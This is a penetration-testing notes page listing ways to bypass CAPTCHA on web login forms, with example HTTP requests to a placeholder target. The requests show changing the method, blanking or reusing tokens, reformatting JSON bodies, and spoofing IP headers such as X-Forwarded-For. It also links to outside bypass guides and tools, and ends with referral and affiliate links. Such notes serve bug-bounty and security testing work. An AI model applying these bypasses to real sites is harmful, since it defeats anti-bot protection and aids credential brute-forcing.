> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/bypass-captcha.md).

# Bypass Captcha

## Methods

{% embed url="<https://sallam.gitbook.io/sec-88/web-appsec/features-abuse/captcha>" %}

{% embed url="<https://github.com/Mehdi0x90/Web_Hacking/blob/main/Captcha%20Bypass.md>" %}

{% embed url="<https://github.com/tuhin1729/Bug-Bounty-Methodology/blob/main/Captcha.md>" %}

{% embed url="<https://github.com/trilokdhaked/Bug-Bounty-Methodology/blob/main/Bypass/Bypass%20Captcha.md>" %}

{% embed url="<https://securitycipher.com/docs/security/penetration-testing-tricks/captcha-bypass/>" %}

1 - Try changing the request method, for example

```
POST / HTTP 1.1 
Host: http://target.com
 ... 
 _RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 
```

&#x20;POST to GET  - Change the method to GET&#x20;

```
GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1 
Host: http://target.com
 ... 
```

2 - Try remove the value of the captcha parameter&#x20;

```
POST / HTTP 1.1 
Host: http://target.com
 ... 
 _RequestVerificationToken=&_Username=daffa&_Password=test123 
```

3 - Try reuse old captcha token&#x20;

```
POST / HTTP 1.1 
Host: http://target.com
 ... 
 _RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123 
```

4 - Convert JSON data to normal request parameter&#x20;

```
POST / HTTP 1.1 
Host: http://target.com
 ... 
{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
```

&#x20;Convert to normal request

```
 POST / HTTP 1.1 
 Host: http://target.com
 ... 
 _RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 
```

5 - Try custom header to bypass captcha &#x20;

```
X-Originating-IP: 127.0.0.1 
X-Forwarded-For: 127.0.0.1 
X-Remote-IP: 127.0.0.1 
X-Remote-Addr: 127.0.0.1
```

6 - Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.&#x20;

```
POST / HTTP 1.1 
Host: http://target.com
 ... 
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
```

Try this to bypass&#x20;

```
POST / HTTP 1.1 
Host: http://target.com
 ... 
 _RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
```

## Google Recaptcha

{% embed url="<https://github.com/sarperavci/GoogleRecaptchaBypass>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.